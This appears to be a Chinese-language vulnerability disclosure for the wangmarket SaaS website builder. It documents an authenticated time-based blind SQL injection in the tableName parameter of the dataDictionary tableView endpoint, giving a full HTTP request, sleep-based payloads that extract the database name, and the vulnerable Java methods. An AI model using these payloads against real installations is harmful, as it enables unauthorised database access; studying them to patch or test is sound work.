wangmarket 私有化部署自己的SAAS云建站系统,可通过后台任意开通多个网站,每个网站使用自己的账号进行独立管理。延续了织梦、帝国CMS的模版方式,性能高度优化,一台1核1G服务器可建立几万个独立网站。
SQL 注入
登录后台后构造数据包
GET /plugin/dataDictionary/tableView.do?tableName=1'and+(select+1+from(select+sleep(5))a)and'1 HTTP/1.1
Host: localhost:8080
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/superadmin/index/welcome.do
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=DF57D0F376B8B705533B083160CD70D1; iwSID=60811a38-db01-4efe-a060-d636f4a368a3
Connection: close

发现成功使得服务器沉睡,我们再构造payload
1'+union+select+1,2,3,4,5,(if(substr((select+database()),1,1)='w',sleep(5),1)),'7

当 select database() 的第一个字母为 "w" 符合判断,执行 sleep(5)

不满足条件时不执行 sleep 操作
com.xnx3.wangmarket.plugin.dataDictionary.controller.DataDictionaryPluginController#tableView

获取 tableName 的值未经处理就拼接到了 SQL 语句中,经过构造就实现了 SQL 注入漏洞
com.xnx3.j2ee.service.impl.SqlServiceImpl#findMapBySqlQuery
